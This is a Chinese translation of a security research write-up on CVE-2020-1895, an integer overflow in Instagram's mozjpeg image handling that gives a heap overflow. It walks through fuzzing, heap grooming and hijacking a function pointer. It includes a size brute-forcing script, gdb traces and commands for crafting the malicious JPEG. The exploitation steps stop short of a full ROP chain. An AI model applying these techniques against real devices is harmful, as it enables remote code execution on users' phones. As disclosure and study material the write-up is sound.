翻译:https://research.checkpoint.com/2020/instagram_rce-code-execution-vulnerability-in-instagram-app-for-android-and-ios/
缺斤少两版三流翻译。
PS:长亭北京诚招安卓逆向玩家,有想法+q:1263914174
PPS:欢迎fuzz Android三方库/iOS应用的师傅来交流vx:Oroshiimaru
PPPS:10.17日南京线下沙龙现场直播链接https://isc.360.com/2020/detail.html?id=0&vid=841
背景
Instagram是最受欢迎的社交媒体平台之一,每天有100+万张照片上传到上面。因此,我们决定审核适用于Android和iOS操作系统的Instagram的安全。我们发现了一个严重漏洞,可以在受害者的手机上远程代码执行。
我们的操作方法是检查Ins用的第三方库。很多开发者,无论规模大小,都在会软件中用到开源的三方库。在Ins用到的库中,我们挖到了一个Mozjpeg的洞。
攻击者通过电子邮件、WhatsApp之类的平台将图像发给受害者,当受害者用Ins打开图像时,就rce了。
Tell me who your friends are and I'll tell you your vulnerabilities
很多大公司的项目都会用到公共开源的库,但并不是所有的库都显示在程序的“About”页面中,确保看全所有的库的方法是看Ins沙箱文件夹下的lib-superpack-zstd
中:
在下图中可以看到,当用Ins上传图像时,会加载以下三个共享库:
“moz”是“mozjpeg”的缩写,“mozjpeg”是Mozilla jpeg编码器项目的缩写,所以这些模块做什么的?
什么是Mozjpeg
要从jpeg格式的历史讲起。jpeg是一种自1990年代就存在的文件格式,它基于有损压缩的概念,这意味着在压缩过程中会丢失一些信息,但是人眼可以忽略不计。Libjpeg是Windows、Mac和Linux操作系统中内置的基准jpeg编码器,由一个informal independent group维护。该库试图在编码速度和质量与文件大小之间取得平衡。
2014年3月5日,Mozilla宣布了“Mozjpeg”项目,这是一个在libjpeg-turbo之上构建的jpeg编码器,旨在为Web图像提供更好的压缩效果,但会降低性能。
这个开源项目专门用于Web上的图像解析。Mozilla在2014年fork了libjpeg-turbo,因此他们可以专注于减小文件大小以降低带宽并更快地加载Web图像。
Ins将mozjpeg库拆分成3个不同的共享库:
Fuzzing .
我们团队之前做过一个Adobe的fuzzer,效果不错,所以我们在这里也fuzz一下Mozjpeg。由于libjpeg-turbo已经快被日烂了,所以我们只fuzz Mozjpeg。
Mozilla在libjpeg-turbo之上所做的主要是压缩算法,所以这才是我们所关注的。
我们决定用afl,所以我们要写harness,幸运的是Mozjpeg附带了一个代码示例,来说明如何使用该库:
METHODDEF(int)
do_read_JPEG_file(struct jpeg_decompress_struct *cinfo, char *filename)
{
struct my_error_mgr jerr;
/* More stuff */
FILE *infile; /* source file */
JSAMPARRAY buffer; /* Output row buffer */
int row_stride; /* physical row width in output buffer */
if ((infile = fopen(filename, "rb")) == NULL) {
fprintf(stderr, "can't open %s\\n", filename);
return 0;
}
/* Step 1: allocate and initialize JPEG decompression object */
/* We set up the normal JPEG error routines, then override error_exit. */
cinfo->err = jpeg_std_error(&jerr.pub);
jerr.pub.error_exit = my_error_exit;
/* Establish the setjmp return context for my_error_exit to use. */
if (setjmp(jerr.setjmp_buffer)) {
jpeg_destroy_decompress(cinfo);
fclose(infile);
return 0;
}
/* Now we can initialize the JPEG decompression object. */
jpeg_create_decompress(cinfo);
/* Step 2: specify data source (eg, a file) */
jpeg_stdio_src(cinfo, infile);
/* Step 3: read file parameters with jpeg_read_header() */
(void)jpeg_read_header(cinfo, TRUE);
/* Step 4: set parameters for decompression */
/* In this example, we don't need to change any of the defaults set by
* jpeg_read_header(), so we do nothing here.
*/
/* Step 5: Start decompressor */
(void)jpeg_start_decompress(cinfo);
/* JSAMPLEs per row in output buffer */
row_stride = cinfo->output_width * cinfo->output_components;
/* Make a one-row-high sample array that will go away when done with image */
buffer = (*cinfo->mem->alloc_sarray)
((j_common_ptr)cinfo, JPOOL_IMAGE, row_stride, 1);
/* Step 6: while (scan lines remain to be read) */
/* jpeg_read_scanlines(...); */
while (cinfo->output_scanline < cinfo->output_height) {
(void)jpeg_read_scanlines(cinfo, buffer, 1);
/* Assume put_scanline_someplace wants a pointer and sample count. */
put_scanline_someplace(buffer[0], row_stride);
}
/* Step 7: Finish decompression */
(void)jpeg_finish_decompress(cinfo);
/* Step 8: Release JPEG decompression object */
jpeg_destroy_decompress(cinfo);
fclose(infile);
return 1;
}
但是,为了确保我们在Mozjpeg中发现的crash都可以影响到Ins,我们需要知道Ins是怎么集成的Mozjpeg。从下面代码可以看到,Ins基本复制粘贴了该库的标准用法:
可以看到,他们唯一改的地方是将示例代码中的put_scanline_someplace虚函数替换read_jpg_copy_loop,其中read_jpg_copy_loop利用了memcpy。
我们的harness接收从afl生成的图像文件并发送给包装过的Mozjpeg解压缩函数,然后我们用30核的cpu跑了一天,出了447个unique crash。对结果进行分类之后,我们发现了与jpeg图像尺寸解析有关的有趣的crash,这个crash是一个oob,我们决定进一步分析一下。
CVE-2020-1895
可以看到漏洞点在下图read_jpg_copy_loop函数:
这个函数是在解析图片尺寸,下面的漏洞的伪代码:
width = rect->right - rect->bottom;
height = rect->top - rect->left;
allocated_address = __wrap_malloc(width*height*cinfo->output_components);// <---Integer overflow
bytes_copied = 0;
while ( 1 ){
output_scanline = cinfo->output_scanline;
if ( (unsigned int)output_scanline >= cinfo->output_height )
break;
//reads one line from the file into the cinfo buffer
jpeg_read_scanlines(cinfo, line_buffer, 1);
if ( output_scanline >= Rect->left && output_scanline < Rect->top )
{
memcpy(allocated_address + bytes_copied , line_buffer, width*output_component);// <--Oops
bytes_copied += width * output_component;
}
}
看一下这段代码做了什么,__wrap_malloc
函数基于3个参数即图像尺寸分配内存块,宽度和高度都是从文件中解析出来的16位整数(uint16_t)。
cinfo-> output_component
表示每个像素代表多少字节。
这个变量的范围取值有Greyscale是1,RGB是3,RGB + Alpha\CMYK\是4等等。
除了高度和宽度,output_component
也完全由攻击者控制,它是从文件中解析的,并且未针对文件中可用的剩余数据进行验证。
__wrap_malloc
的参数在32位寄存器中传递,这意味着我们分配大小超过(2^32)个字节的话就可以整数溢出,从而导致分配的大小比预期的小的多。
用图像的宽度、高度和output_components相乘来计算分配大小,这个大小没有经过检查,可以由我们控制来溢出。
__wrap_malloc(width * height * cinfo->output_components);// <---- Integer overflow
这个buffer会传给memcpy,从而导致堆缓冲;分配后还会调用memcpy函数,并将图像数据复制进去。
memcpy(allocated_address + bytes_copied ,line_buffer, width*output_component);//<--Oops
(width * output_component)
大小的数据会被复制(height)
次。
从利用的角度来看,这是一个很有希望的bug,攻击者可以控制大小、内容的堆溢出。
Wild Copy Exploitation
要触发漏洞,我们要有大于2^32(4G)的数据,我们处理通配符的时候可以达到要求,因此下图这样当循环到未mmap的内存页时,程序就极有可能崩溃:
我们如何利用呢?
在深入研究Wildcopy开发技术之前,我们需要我们的情况与Stagefright中那样将经典的Wildcopy案例区分开。经典的案例通常是写入4GB数据的memcpy,但是我们的示例是有一个for循环尝试将X个字节复制Y次,而X * Y为4GB。
当我们尝试利用这种内存破坏漏洞时,我们注意以下问题:
最后一个问题尤其重要,因为在Jemalloc / LFH(或每个基于存储桶的分配器)中,如果我们无法控制要破坏的块的大小,则可能难以对堆进行布局以破坏一个特定目标结构(如果该结构的大小明显不同)。
乍一看,关于我们控制内容的能力的第一个问题的答案似乎是“是”,因为我们可以控制图像数据的内容。
现在,转到第二个问题 -- 控制我们破坏数据的长度。答案也显然是“是”,因为memcpy循环逐行复制文件,并且复制的每一行的大小是攻击者控制的width参数和output_component的乘积。
关于我们破坏的缓冲区大小的第三个问题的答案是微不足道的。
由于它是由width * height * cinfo-> output_components
控制的,因此我们写了一个Python脚本,该脚本根据整数溢出的影响,根据希望分配的块大小,为我们提供了这三个参数的取值:
import sys
def main(low=None, high=None):
res = []
print("brute forcing...")
for a in range(0xffff):
for b in range(0xffff):
x = 4 * (a+1) * (b+1) - 2**32
if 0 < x <= 0x100000:#our limit
if (not low or (x > low)) and (not high or x <= high):
res.append((x, a+1, b+1))
for s, x, y in sorted(res, key=lambda i: i[0]):
print "0x%06x, 0x%08x, 0x%08x" % (s, x, y)
if __name__ == '__main__':
high = None
low = None
if len(sys.argv) == 2:
high = int(sys.argv[1], 16)
elif len(sys.argv) == 3:
high = int(sys.argv[2], 16)
low = int(sys.argv[1], 16)
main(low, high)
现在我们有了使用通配符的先决条件,让我们看看如何利用。
要触发此漏洞,我们必须指定一个大于2 ^ 32字节的大小。实际上,我们需要在到达未映射的内存之前停止通配符。
我们有很多选择:
第一种方法显然不行,我们无法控制线程。
为了使用第二种方法,我们寻找了一个终止开关来停止通配符。我们尝试将文件切成两半,同时保持图像标题中的大小相同。但是,我们发现,如果这个库达到一个EOF标记,它只会添加另一个EOF标记,因此我们最终陷入EOF标记的无限循环中。
我们还尝试寻找一种ERREXIT函数,该函数可以在运行时停止解压缩过程,但是我们了解到,无论我们做什么,我们都永远无法在此代码中找到触发ERREXIT的路径。因此,第二个选项也不行。
要使用第三个选项,我们需要找一个在Wildcopy循环的每次迭代中都会调用的虚函数。
看一眼发生memcpy循环复制处的逻辑:
while ( 1 ) {
output_scanline = cinfo->output_scanline;
if ( (unsigned int)output_scanline >= cinfo->output_height )
break;
jpeg_read_scanlines(cinfo, line_buffer, 1);
if ( output_scanline >= Rect->left && output_scanline < Rect->top )
{
memcpy(allocated_address + bytes_copied , line_buffer, width*output_component)
bytes_copied += width * output_component;
}
}
我们可以看到,除了memcpy
之外,只有一个jpeg_read_scanlines
函数可以在每次循环中调用。
看一下jpeg_read_scanlines
的代码:
GLOBAL(JDIMENSION)
jpeg_read_scanlines(j_decompress_ptr cinfo, JSAMPARRAY scanlines,
JDIMENSION max_lines)
{
JDIMENSION row_ctr;
if (cinfo->global_state != DSTATE_SCANNING)
ERREXIT1(cinfo, JERR_BAD_STATE, cinfo->global_state);
if (cinfo->output_scanline >= cinfo->output_height) {
WARNMS(cinfo, JWRN_TOO_MUCH_DATA);
return 0;
}
/* Call progress monitor hook if present */
if (cinfo->progress != NULL) {
cinfo->progress->pass_counter = (long)cinfo->output_scanline;
cinfo->progress->pass_limit = (long)cinfo->output_height;
(*cinfo->progress->progress_monitor) ((j_common_ptr)cinfo);
}
/* Process some data */
row_ctr = 0;
(*cinfo->main->process_data) (cinfo, scanlines, &row_ctr, max_lines);
cinfo->output_scanline += row_ctr;
return row_ctr;
}
可以看到,每次调用jpeg_read_scanlines
从文件中读取一行时,都会调用虚函数process_data
。
从文件中读取的行被复制到名为cinfo
的结构内的名为row_ctr
的缓冲区中。
(*cinfo->main->process_data) (cinfo, scanlines, &row_ctr, max_lines);
proccess_data
指向另一个叫process_data_simple_main
的函数:
process_data_simple_main(j_decompress_ptr cinfo, JSAMPARRAY output_buf,
JDIMENSION *out_row_ctr, JDIMENSION out_rows_avail)
{
my_main_ptr main_ptr = (my_main_ptr)cinfo->main;
JDIMENSION rowgroups_avail;
/* Read input data if we haven't filled the main buffer yet */
if (!main_ptr->buffer_full) {
if (!(*cinfo->coef->decompress_data) (cinfo, main_ptr->buffer))
return;
main_ptr->buffer_full = TRUE;
}
rowgroups_avail = (JDIMENSION)cinfo->_min_DCT_scaled_size;
/* Feed the postprocessor */
(*cinfo->post->post_process_data) (cinfo, main_ptr->buffer,
&main_ptr->rowgroup_ctr, rowgroups_avail,
output_buf, out_row_ctr, out_rows_avail);
/* Has postprocessor consumed all the data yet? If so, mark buffer empty */
if (main_ptr->rowgroup_ctr >= rowgroups_avail) {
main_ptr->buffer_full = FALSE;
main_ptr->rowgroup_ctr = 0;
}
}
从process_data_simple_main
中,我们可以看到另外2个被调用的虚函数,它们都有一个cinfo
结构。
cinfo
是在Mozjpeg各种功能期间传递的结构,它包含关键成员,函数指针和图像元数据。
cinfo
结构体如下:
struct jpeg_decompress_struct {
struct jpeg_error_mgr *err;
struct jpeg_memory_mgr *mem;
struct jpeg_progress_mgr *progress;
void *client_data;
boolean is_decompressor;
int global_state
struct jpeg_source_mgr *src;
JDIMENSION image_width;
JDIMENSION image_height;
int num_components;
...
J_COLOR_SPACE out_color_space;
unsigned int scale_num
...
JDIMENSION output_width;
JDIMENSION output_height;
int out_color_components;
int output_components;
int rec_outbuf_height;
int actual_number_of_colors;
...
boolean saw_JFIF_marker;
UINT8 JFIF_major_version;
UINT8 JFIF_minor_version;
UINT8 density_unit;
UINT16 X_density;
UINT16 Y_density;
...
...
int unread_marker;
struct jpeg_decomp_master *master;
struct jpeg_d_main_controller *main; <<-- there’s a function pointer here
struct jpeg_d_coef_controller *coef; <<-- there’s a function pointer here
struct jpeg_d_post_controller *post; <<-- there’s a function pointer here
struct jpeg_input_controller *inputctl;
struct jpeg_marker_reader *marker;
struct jpeg_entropy_decoder *entropy;
. . .
struct jpeg_upsampler *upsample;
struct jpeg_color_deconverter *cconvert
. . .
};
在cinfo
结构中,我们可以看到有3个函数指针,可以覆盖这些指针来劫持控制流。
具体情况可以看JeMalloc:https://zhuanlan.zhihu.com/p/48957114。
Controlling the PC register
我们找到了三个好用的函数指针来劫持eip,是cinfo
结构体的三个成员:
它们在Jpegint.h中定义:
/* Main buffer control (downsampled-data buffer) */
struct jpeg_d_main_controller {
void (*start_pass) (j_decompress_ptr cinfo, J_BUF_MODE pass_mode);
void (*process_data) (j_decompress_ptr cinfo, JSAMPARRAY output_buf,
JDIMENSION *out_row_ctr, JDIMENSION out_rows_avail);
};
/* Coefficient buffer control */
struct jpeg_d_coef_controller {
void (*start_input_pass) (j_decompress_ptr cinfo);
int (*consume_data) (j_decompress_ptr cinfo);
void (*start_output_pass) (j_decompress_ptr cinfo);
int (*decompress_data) (j_decompress_ptr cinfo, JSAMPIMAGE output_buf);
jvirt_barray_ptr *coef_arrays;
};
/* Decompression postprocessing (color quantization buffer control) */
struct jpeg_d_post_controller {
void (*start_pass) (j_decompress_ptr cinfo, J_BUF_MODE pass_mode);
void (*post_process_data) (j_decompress_ptr cinfo, JSAMPIMAGE input_buf,
JDIMENSION *in_row_group_ctr,
JDIMENSION in_row_groups_avail,
JSAMPARRAY output_buf, JDIMENSION *out_row_ctr,
JDIMENSION out_rows_avail);
我们需要找到这三个结构体在堆中的位置,并且至少覆盖一个,来劫持eip。为了更深入地理解,我们需要看一下Mozjpeg解析图像时的堆长什么样。
Mozjpeg's internal memory manager
看一下cinfo
最重要的结构体成员之一:
struct jpeg_memory_mgr *mem; /* Memory manager module */
Mozjpeg有自己的内存管理器。JPEG库的内存管理器控制内存的分配和释放,并管理大型“虚拟”数组。库中的所有内存和临时文件分配都是通过这个内存管理器完成的。这种方法有助于防止内存泄露,并且可以加快速度。
内存管理器把已free的内存块放到一个“pool”里,整个pool可以一次直接释放。
一些数据是“永久”分配的,直到销毁JPEG对象后才会释放。
大多数数据是按“每个图像”分配的,并由jpeg_finish_decompress
或jpeg_abort
函数释放。
例如,让我们看一下Mozjpeg在图像解码过程中所做的分配。当Mozjpeg要求分配0x108字节时,实际上会调用malloc分配0x777,请求的大小和分配的实际大小不同。进一步分析,Mozjpeg使用以下wrapper函数来分配大小分配alloc_small
和alloc_large
。
METHODDEF(void *)
alloc_small(j_common_ptr cinfo, int pool_id, size_t sizeofobject){
...
...
hdr_ptr = (small_pool_ptr)jpeg_get_small(cinfo, min_request + slop);
slop = first_pool_slop[1] == 16000
min_request = sizeof(small_pool_hdr) + sizeofobject + ALIGN_SIZE - 1;
sizeofobject == round_up_pow2(0x120, ALIGN_SIZE) == 0x120
ALIGN_SIZE == 16
sizeof(small_pool_hdr) = 0x20
static const size_t first_pool_slop[JPOOL_NUMPOOLS] = {
1600, /* first PERMANENT pool */
16000 /* first IMAGE pool */
};
GLOBAL(void *)
jpeg_get_small(j_common_ptr cinfo, size_t sizeofobject)
{
return (void *)malloc(sizeofobject);
}
可以看到pool由alloc_small函数管理,这个函数维护了一组成员,来监视pool的状态,每次有分配请求的时候,wrapper函数都会先检查pool中是否有足够的空间。如果有,直接返回指针,并使指向空闲内存的指针前移;如果pool中没有足够的空间,它将从first_pool_slop
数组中读一个预定义的大小,分配该大小的空间到pool中:
static const size_t first_pool_slop[JPOOL_NUMPOOLS] = {
1600, /* first PERMANENT pool */
16000 /* first IMAGE pool */
};
现在我们需要找出哪个pool中储存了我们想到覆盖的虚函数指针。
作为解码过程的一部分,有两个主要功能可对图像元数据进行解码并为以后的处理做好准备。仅有两个主要函数jpeg_read_header和jpeg_start_decompress是分配内存的唯一函数,直到我们到达Wildcopy循环为止。
jpeg_read_header解析文件中的不同标记。
解析这些标记时,Mozjpeg内存管理器分配了大小为16000(0x3e80)的第二个也是最大的pool。pool的大小是first_pool_slop数组(来自上面的代码段)中的const值,这意味着Mozjpeg的内部分配器已经使用了第一个池的所有空间。
我们知道我们的目标main、coef和post结构是从jpeg_start_decompress函数中分配的。因此,我们可以假设其余分配的内存块(直到我们到达wildcopy循环)始终位于第二个大的pool中,包括我们要覆盖的main,coef和post结构。
现在,让我们仔细看看Jemalloc如何处理这种类型的大小类分配。
显然每个pool的大小(0x3e80 = 160000 dec)已经超过了页面大小(4k)但是小于Android块大小(2M / 4M),所以Jemalloc每次分配都分配0x5000,在内存中看一下:
(gdb)info registers X0
X0 0x3fc7
(gdb)bt
#0 0x0000007e6a0cbd44 in malloc () from target:/system/lib64/libc.so
#1 0x0000007e488b3e3c in alloc_small () from target:/data/data/com.instagram.android/lib-superpack-zstd/libfb_mozjpeg.so
#2 0x0000007e488ab1e8 in get_sof () from target:/data/data/com.instagram.android/lib-superpack-zstd/libfb_mozjpeg.so
#3 0x0000007e488aa9b8 in read_markers () from target:/data/data/com.instagram.android/lib-superpack-zstd/libfb_mozjpeg.so
#4 0x0000007e488a92bc in consume_markers () from target:/data/data/com.instagram.android/lib-superpack-zstd/libfb_mozjpeg.so
#5 0x0000007e488a354c in jpeg_consume_input () from target:/data/data/com.instagram.android/lib-superpack-zstd/libfb_mozjpeg.so
#6 0x0000007e488a349c in jpeg_read_header () from target:/data/data/com.instagram.android/lib-superpack-zstd/libfb_mozjpeg.so
可以看到malloc分配的对象确实是(0x3fc7)。
在堆布局的时候,我们还要看一下堆上下文中的各种分配。我们用了一个名叫shadow的工具,这个工具是argp的vats写的,可以用来将Jemalloc堆可视化。
Cinfo:
(gdb) x/164xw 0x729f4f8b98
0x729f4f8b98: 0x9f4f89f0 0x00000072 0xbdfe3040 0x00000072
0x729f4f8ba8: 0x00000000 0x00000000 0x00000014 0x000002a8
0x729f4f8bb8: 0x00000001 0x000000cd 0xbdef79f0 0x00000072
0x729f4f8bc8: 0x00006a44 0x00009a2e 0x00000003 0x00000003
0x729f4f8bd8: 0x0000000c 0x00000001 0x00000001 0x00000000
0x729f4f8be8: 0x00000000 0x3ff00000 0x00000000 0x00000000
0x729f4f8bf8: 0x00000000 0x00000001 0x00000001 0x00000000
0x729f4f8c08: 0x00000002 0x00000001 0x00000100 0x00000000
0x729f4f8c18: 0x00000000 0x00000000 0x00006a44 0x00009a2e
0x729f4f8c28: 0x00000004 0x00000004 0x00000001 0x00000000
0x729f4f8c38: 0x00000000 0x00000000 0x00000000 0x00000001
0x729f4f8c48: 0x00000000 0x00000001 0x00000000 0x00000000
0x729f4f8c58: 0x00000000 0x00000000 0xbdef7a40 0x00000072
0x729f4f8c68: 0xbdef7ad0 0x00000072 0x00000000 0x00000000
0x729f4f8c78: 0x00000000 0x00000000 0xbdef7b60 0x00000072
0x729f4f8c88: 0xbdef7da0 0x00000072 0x00000000 0x00000000
0x729f4f8c98: 0x00000000 0x00000000 0xbdef7c80 0x00000072
0x729f4f8ca8: 0x9f111ca0 0x00000072 0x00000000 0x00000000
0x729f4f8cb8: 0x00000000 0x00000000 0x00000008 0x00000000
0x729f4f8cc8: 0xa63e9be0 0x00000072 0x00000000 0x00000000
0x729f4f8cd8: 0x00000000 0x00000000 0x00000000 0x00000000
0x729f4f8ce8: 0x00000000 0x01010101 0x01010101 0x01010101
0x729f4f8cf8: 0x01010101 0x05050505 0x05050505 0x05050505
0x729f4f8d08: 0x05050505 0x00000000 0x00000000 0x00000101
0x729f4f8d18: 0x00010001 0x00000000 0x00000000 0x00000000
0x729f4f8d28: 0x00000000 0x00000000 0x00000002 0x00000002
0x729f4f8d38: 0x00000008 0x00000008 0x000009a3 0x00000000
0x729f4f8d48: 0xa63e9e00 0x00000072 0x00000003 0x00000000
0x729f4f8d58: 0xa63e9be0 0x00000072 0xa63e9c40 0x00000072
0x729f4f8d68: 0xa63e9ca0 0x00000072 0x00000000 0x00000000
0x729f4f8d78: 0x000006a5 0x000009a3 0x00000006 0x00000000
0x729f4f8d88: 0x00000000 0x00000000 0x00000000 0x00000001
0x729f4f8d98: 0x00000002 0x00000000 0x00000000 0x00000000
0x729f4f8da8: 0x00000000 0x00000000 0x0000003f 0x00000000
0x729f4f8db8: 0x00000000 0x00000008 0xa285d500 0x00000072
0x729f4f8dc8: 0x0000003f 0x00000000 0xbdef7960 0x00000072
0x729f4f8dd8: 0xa63eaa70 0x00000072 <========= main
0xa63ea900 0x00000072 <========= post
0x729f4f8de8: 0xa63ea3e0 0x00000072 <========= coef
0xbdef7930 0x00000072
0x729f4f8df8: 0xbdef7820 0x00000072 0xa63ea790 0x00000072
0x729f4f8e08: 0xa63ea410 0x00000072 0xa63ea2c0 0x00000072
0x729f4f8e18: 0xa63ea280 0x00000072 0x00000000 0x00000000
(gdb) jeinfo 0x72a63eaa70 <========= main
parent address size
--------------------------------------
arena 0x72c808fc00 -
chunk 0x72a6200000 0x200000
run 0x72a63e9000 0x5000 <========= our large targeted run!
我们的目标是利用整数溢出来导致堆缓冲区溢出。利用这类漏洞要精确地布置内存,我们要强制某些对象被分配在堆中的特定位置,形成跟可越界块相邻的结构。
但是我们无法控制free。根据Mozjpeg文档,大多数数据是按每个图像分配的,并由jpeg_finish_decompress或jpeg_abort释放。这意味着所有free都将在解码过程结束时使用jpeg_finish_decompress或jpeg_abort进行,只有在我们完成使用Wildcopy循环的覆盖内存后,才会调用该操作。
但是,在我们的例子中,我们不需要free,因为我们可以控制函数指针,该函数执行具有我们控制大小的原始malloc。这使我们能够选择将溢出缓冲区放在堆上的位置。
我们想将包含溢出缓冲区的对象放置在包含执行函数指针调用的main / post / coef数据结构的0x5000对象的前面。
我们知道目标对象总是具有相同(0x5000)尺寸的,并且因为Jemalloc从顶部到底部分配大尺寸,所以我们唯一要做的就是把溢出的堆块放在堆底部目标堆块的位置。
在我们测试的Android版本中,Jemalloc的块大小为2MB。
对象之间的距离(以字节为单位)无关紧要,因为我们有一个wildcopy循环,可以逐行复制大量数据(我们控制行的大小)。复制的数据最终大于2MB,因此我们可以确定最终将破坏位于溢出对象之后的块中的每个对象。
由于我们无法free,因此无法创建对象将落入的hole。但是我们可以尝试寻找图像解码流程中会重复出现的hole,通过调试查看内存布局:
(gdb) jechunk 0x72a6200000
This chunk belongs to the arena at 0x72c808fc00.
addr info size usage
------------------------------------------------------------
0x72a6200000 headers 0xd000 -
0x72a620d000 large run 0x1b000 -
0x72a6227000 large run 0x1b000 -
0x72a6228000 small run (0x180) 0x3000 10/32
0x72a622b000 small run (0x200) 0x1000 8/8
...
...
0x72a638f000 small run (0x80) 0x1000 6/32
0x72a6390000 small run (0x60) 0x3000 12/128
0x72a6393000 small run (0xc00) 0x3000 4/4
0x72a6396000 small run (0xc00) 0x3000 4/4
0x72a6399000 small run (0x200) 0x1000 2/8
0x72a639a000 small run (0xe0) 0x7000 6/128 <===== The run we want to hit!!!
0x72a63a1000 small run (0x1000) 0x1000 1/1
0x72a63a2000 small run (0x1000) 0x1000 1/1
0x72a63a3000 small run (0x1000) 0x1000 1/1
0x72a63a4000 small run (0x1000) 0x1000 1/1
0x72a63a5000 large run 0x5000 - <===== Large targeted object!!!
(为什么这段不翻,因为我不知道run怎么翻,只能意会o2z)
We are looking for runs with holes, and those runs must be before the large targeted buffer we want to override. A run can be used to host either one large allocation, or multiple small/medium allocations.
Runs that host small allocations are divided into regions. A region is synonymous to a small allocation. Each small run hosts regions of just one size. In other words, a small run is associated with exactly one region size class.
Runs that host medium allocations are also divided into regions, but as the name indicates, they are bigger than the small allocations. Therefore, the runs that host medium allocations are divided into bigger size class regions that take up more space.
For example, a small run of size class 0xe0 is divided into 128 regions:
0x72a639a000 small run (0xe0) 0x7000 6/128
Medium runs of size class 0x200 are divided into 8 regions:
0x72a6399000 small run (0x200) 0x1000 2/8
为了使可溢出对象在目标对象之前被分配,我们用上面Python脚本拿到想要的尺寸参数,这个尺寸会使malloc在我们的小chunk中分配可溢出对象。
我们构造了一个新的JPEG图像,其大小触发了分配给(0xe0)对象的小chunk,并在libjepgutils_moz.so + 0x918下断。
(gdb) x/20i $pc
=> 0x7e47ead7dc: bl 0x7e47eae660 <__wrap_malloc@plt>
0x7e47ead7e0: mov x23, x0
在受控malloc之前只有一条命令,X0拥有我们希望分配的大小:
(gdb) info registers x0
x0 0xe0 224
继续执行一条命令,然后再看X0寄存器,该寄存器现在保存了通过调用malloc得到的结果:
(gdb) x/20i $pc
=> 0x7e4cf987e0: mov x23, x0
(gdb) info registers x0
x0 0x72a639ac40 492415069248
我们从malloc获取的地址是我们可溢出对象的地址(0x72a639ac40)。用shadow工具中的jeinfo方法看一下它在堆上的位置。
(gdb) jeinfo 0x72a639ac40
parent address size
--------------------------------------
arena 0x72c808fc00 -
chunk 0x72a6200000 0x200000
run 0x72a639a000 0x7000
region 0x72a639ac40 0xe0
我们与目标对象位于同一块(0x72a6200000),再看一下块的布局,以确保我们的可溢出缓冲区位于我们要达到的小chunk(0xe0)上。
(gdb) jechunk 0x72a6200000
This chunk belongs to the arena at 0x72c808fc00.
…
...
0x72a639a000 small run (0xe0) 0x7000 7/128 <-----hit!!!
0x72a63a1000 small run (0x1000) 0x1000 1/1
0x72a63a2000 small run (0x1000) 0x1000 1/1
0x72a63a3000 small run (0x1000) 0x1000 1/1
0x72a63a4000 small run (0x1000) 0x1000 1/1
0x72a63a5000 large run 0x5000 - <------Large targeted object!!!
继续执行,看看覆盖目标对象后会发生什么。
(gdb) c
Continuing.
[New Thread 29767.30462]
Thread 93 "IgExecutor #19" received signal SIGBUS, Bus error.
0xff9d9588ff989083 in ?? ()
可以看到崩溃点在执行被覆盖过的函数指针,我们遇到了SIGBUS,通常为信号10,该信号表示在进程尝试访问CPU无法物理寻址的内存,换句话说,程序尝试访问的内存不是有效的内存地址。
我们有一个可以控制的函数指针,还缺一个gadget来进行栈迁移构造rop。
现在把上面的操作串到一起,构造能触发漏洞的图像,生成payload,将eip劫持到我们能控制的地址。
我们需要生成损坏的JPEG,因此,我们的下一步是确切确定Mozjpeg平台支持哪些图像格式,可以从下面的代码中找到,out_color_space
表示根据图像格式确定的每个像素的位数。
switch (cinfo->out_color_space) {
case JCS_GRAYSCALE:
cinfo->out_color_components = 1;
Break;
case JCS_RGB:
case JCS_EXT_RGB:
case JCS_EXT_RGBX:
case JCS_EXT_BGR:
case JCS_EXT_BGRX:
case JCS_EXT_XBGR:
case JCS_EXT_XRGB:
case JCS_EXT_RGBA:
case JCS_EXT_BGRA:
case JCS_EXT_ABGR:
case JCS_EXT_ARGB:
cinfo->out_color_components = rgb_pixelsize[cinfo->out_color_space];
Break;
case JCS_YCbCr:
case JCS_RGB565:
cinfo->out_color_components = 3;
break;
case JCS_CMYK:
case JCS_YCCK:
cinfo->out_color_components = 4;
break;
default:
cinfo->out_color_components = cinfo->num_components;
Break;
我们用了一个叫PIL的Python库来构造RGB BMP文件,选择了我们熟悉的RGB格式,并在其中填充了"AAA"作payload。该文件是我们用来创建恶意压缩JPEG的基本图像格式。
from PIL import Image
img = Image.new('RGB', (100, 100))
pixels = img.load()
for i in range(img.size[0]):
for j in range(img.size[1]):
pixels[i,j] = (0x41, 0x41, 0x41)
img.save('rgb100.bmp')
然后用Mozjpeg项目中的cjpeg工具将bmp文件压缩为JPEG文件。
./cjpeg -rgb -quality 100 -fastcrush -notrellis -notrellis-dc -noovershoot -outfile rgb100.jpg rgb100.bmp
接下来,我们开始验证我们的假设。
我们验证了代码是否正确设置了cinfo-> out_color_space = 0x2(JCS_RGB)
。然而,当我们查看堆分配情况的时发现图像的宽和高;被乘了out_color_components = 4
,即使我们用RGB格式,每行使用3×8位像素。看来Mozjpeg更喜欢将我们的图像转换为每个像素格式4×8位。
然后,我们转向Mozjpeg平台支持的4×8位像素格式,并且CMYK格式符合标准。我们使用CMYK格式作为基本映像,以完全控制所有4个字节。我们使用“ AAAA”作为有效负载填充图像。
我们将其压缩为JPEG格式,并设置了可以触发漏洞的尺寸。令我们高兴的是,我们发生了以下崩溃。
Thread 93 "IgExecutor #19" received signal SIGBUS, Bus error.
0xff414141ff414141 in ?? ()
但是,即使我们在每个像素图像上构建了4×8位的图像,我们看到有一个奇怪的0xFF字节成了payload的一部分,这第4个字节不是我们payload的一部分。
0xFF是什么意思?透明。
支持透明的位图文件格式包括GIF,PNG,BMP,TIFF和JPEG 2000(通过transparent color或者alpha channel)。
基于位图的图像在技术上通过图像的宽度和高度(以像素为单位)以及每个像素的位数来表示。
因此,我们决定用PIL库通过我们控制的alpha channel(0x61)构造RGBA BMP格式文件。
from PIL import Image
img = Image.new('RGBA', (100, 100))
pixels = img.load()
for i in range(img.size[0]):
for j in range(img.size[1]):
pixels[i,j] = (0x41, 0x41, 0x41,0x61)
img.save('rgba100.bmp')
令人惊讶的是,我们得到的结果与使用CMYK恶意JPEG时的结果相同。即使我们使用RGBA格式作为压缩JPEG的基础,我们可以看到0xFF仍然是payload的一部分,并且文件中的alpha channel的值为(0x61)。这怎么发生的?让我们回到代码中,了解这种奇怪行为的原因。
我们在下面的这段代码中找到了答案:
如IDA反汇编代码片段所示,将cinfo-> out_color_space设置为RGBA(0xC)。
我们发现Instagram在jpeg_read_header完成之后并且在调用jpeg_start_decompress之前添加自己的const值。
